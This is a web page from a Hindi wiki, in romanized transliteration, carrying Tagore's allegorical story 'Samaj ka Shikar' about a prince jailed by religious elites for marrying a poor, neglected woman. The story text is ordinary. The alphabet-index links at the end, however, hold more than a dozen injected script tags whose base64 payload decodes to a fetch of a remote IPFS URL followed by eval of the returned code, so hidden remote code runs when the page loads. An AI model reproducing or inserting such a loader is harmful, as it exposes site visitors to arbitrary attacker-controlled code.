समाज का शिकार -रविन्द्र नाथ टैगोर

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

maian jis yug ka varnan kar raha hooan usaka n adi hai n aant! vah ek badashah ka beta tha aur usaka mahaloan mean lalan-palan hua tha, kintu use kisi ke shasan mean rahana svikar n tha. isalie usane rajamahaloan ko tilaanjali dekar jangaloan ki rah li. us samay deshabhar mean sat shasak the. vah satoan shasakoan ke shasan se bahar nikal gaya aur aise sthan par pahuancha jahaan kisi ka rajy n tha. akhir shahajade ne desh ko kyoan chho da? isaka karan spasht hai ki kuean ka pani apani gaharaee par santusht hai. nadi ka jal tatoan ki janjiroan mean jak da hua hai, kintu jo pani paha d ki choti par hai use hamare siroan par mandarane vale badaloan mean bandi nahian banaya ja sakata. shahajada bhi ooanchaee par tha aur yah kalpana bhi n ki ja sakati thi ki vah itana vilasi jivan chho dakar jangaloan, paha doan aur maidanoan mean dridhata se samana karega. is par bhi bahadur shahajada bhayavane jangal ko dekhakar bhayabhit n hua. usaki rah mean sat samudr the aur n jane kitani nadiyaan? kintu usane sabako apane sahas se par kar liya. manushy shishu se yuva hota hai aur yuva se vridhd hokar mar jata hai, aur phir shishu banakar sansar mean ata hai. vah is kahani ko apane mata-pita se anek bar sunata hai ki bhayanak samudr ke kinare ek kila hai. usamean ek shahajadi bandi hai, jise mukt karane ke lie ek shahajada jata hai. kahani sunane ke pashchath vah chiantan ki mudra mean kapoloan par hath rakhakar sochata ki kahian maian hi to vah shahajada nahian hooan. jinnoan ke dvip ki dasha sunakar usake hriday mean vichar utpann hua ki mujhe ek din shahajadi ko bandigrih se mukti dilane ke lie us dvip ko prasthan karana p dega. sansar vale man-samman chahate haian, dhan-aishvary ke ichchhuk rahate haian, prasidhdi ke lie marate haian, bhog-vilas ki khoj mean lage rahate haian, kintu svabhimani shahajada sukh-chain ka jivan chho dakar abhagi shahajadi ko jinnoan ke bhayanak bandigrih se mukti dilane ke lie bhayanak dvip ka paryatan karata hai.

bhag 2

bhayanak toofani sagar ke sammukh shahajade ne apane thake hue gho de ko roka; kintu prithvi par utarana tha ki sahasa drishy badal gaya aur shahajade ne ashcharyachakit drishti se dekha ki samane ek bahut b da nagar basa hua hai. tram chal rahi hai, motarean dau d rahi haian, dukanoan ke samane kharidadaroan ki aur daftaroan ke samane klarkoan ki bhi d hai. phaishan ke matavale chamakile vastroan se susajjit chahuanor ghoom-phir rahe haian. shahajade ki yah dasha ki purane kurte mean batan bhi lage hue nahian. vastr maile, joota phat gaya, harek vyakti use ghrina ki drishti se dekhata hai kintu use chinta nahian. usake samane ek hi uddeshy hai aur vah apani dhun mean magn hai. ab vah nahian janata ki shahajadi kahaan hai? vah ek abhage pita ki abhagi beti hai. dharm ke thekedaroan ne use samaj ki moti janjiroan mean jak dakar chhoti aandheri kothari ke dvip mean bandi bana diya hai. chahuanor purane riti-rivaj aur roodhiyoan ke samudr ghera dale hue haian. kyoanki usaka pita nirdhan tha aur vah apane hone vale damad ko l daki ke sath amooly dhan-sanpatti n de sakata tha. isalie kisi sajjan khanadan ka koee shikshit yuvak usake sath vivah karane par sahamat n hota tha. l daki ki ayu adhik ho gee. vah rat-din devataoan ki pooja-archana mean lin rahati thi. usake pita ka svargavas ho gaya aur vah apane chacha ke pas chali gee. chacha ke pas nakad rupaya bhi tha aur kafi makan adi bhi. ab use seva ke lie muft ki sevika mil gee. vah savere se rat ke barah baje tak ghar ke kam-kaj mean lagi rahati. big di dasha ka shahajada us l daki ke p dos mean rahane laga. donoan ne ek-doosare ko dekha. prem ki janjiroan ne unake hridayoan se vivah kar diya. l daki jo ab tak pairoan se kuchali huee komal kali ki bhaanti thi usane pratham bar santosh aur shaanti ki saans liya. kintu dharm ke thekedar yah kis prakar sahan kar sakate the ki koee dukhit stri lohe ki janjiroan se chhutakara pakar sukh ka jivan vyatit kar sake. usaka vivah kya hua ek pralay upasthit ho gee. pratyek disha mean shor macha ki 'dharm sankat mean hai, 'dharm sankat mean hai.' chacha ne moochhoan par tav dekar kaha- chahe meri sampoorn sanpatti nasht hi kyoan n ho jaye, apane kul ke riti-rivajoan ki raksha karooanga. biradari vale kahane lage- ek samaj ki suraksha hetu lakhoan rupaya balidan kar deange, aur ek dharm ke pujari seth ne kaha-bhaee kalayug hai, kaliyug. yadi ham achet rahe to dharm vilay ho jayega. ap sab mahanubhav rupaye-paise ki chinta n karean, yadi yah mera mahanh kosh dharm ke kam n aya, to phir kis kam ayega? tum turant is papi chaandal ke virudhd abhiyog arambh karo. abhiyogi nyayalay mean upasthit hua. abhiyogi ki or se b de-b de vakil apane gaoon ph dakate hue nyayalay pahuanche. abhagi l daki ke vivah ke lie to koee ek paisa bhi kharch karana n chahata tha, kintu use aur usake pati ko jel bhijavane ke lie rupayoan ki thailiyaan khul geean. naujavan aparadhi ne chakit netroan se dekha. vidhan ki kitaboan ko chatane vali dimakean din ko rat aur rat ko din kar rahi thian. dharm ke thekedaroan ne devi-devataoan ki mannat mani. kisi ke nam par bakare balidan kiye gaye, kisi ke nam par sone ka takht chadhaya gaya. abhiyog ki kriya tivr gati se arambh huee. big di huee dasha vale shahajade ki or se n koee rupaya vyay karane vala tha n koee paksh-samarthan karane vala. nyayadhish ne use kathin karavas ka dand diya. mandiroan mean prasannata ke ghante-gh diyal bajaye gaye, sampoorn shakti se shankh bajaye gaye, devi aur devataoan ke nam bali di gee, pujariyoan aur mahantoan ki ban aee. sab adami khushi se paraspar dhanyavad aur sadhuvad dekar kahane lage- bhaiyo! yah samay kaliyug ka hai parantu eeshvar ki kripa se dharm abhi jivit hai.

bhag 3

shahajada apani saza katakar karavas se vapis a gaya kintu usaka lamba-chau da paryatan abhi samapt n hua tha. vah sansar mean akela tha, koee bhi usaka sangi-sathi nahian. sansar vale use dandi (sajayaphta) kahakar usaki chhaya se bhi bachate haian. saty hai is sansar mean raj-niyam bhi eeshvar hai. phir eeshvar ke aparadhi se sidhe muanh bat karana kise sahan ho sakata hai? lambi-chau di musaphiri to usaki samapt n huee; kintu usake chalane ka ant ho gaya. usake jakhmi paanvoan mean chalane ki shakti shesh n rahi. vah thakakar gir p da, rogi tha...bahut adhik rogi. us asahay pathik ki seva-sushroosha kaun karata? kintu usaki avastha par ek suhriday devata ka hriday dukha. usaka nam 'kal' tha. usane shahajade ki seva-sushroosha ki. usane sir par sneh se hath phera aur usake sath shahajada us sansar mean pahuanch gaya jahaan n samaj hai aur n usake anyay aur n anyayi. bachcha ashchary se apani maan ki god mean yah kahani sunata hai aur apane phool-se komal kapoloan par hath rakhakar sochata hai, kahian vah shahajada maian hi to nahian hooan.

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

Template:saancha:ravindr nath taigor ki rachanaean

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah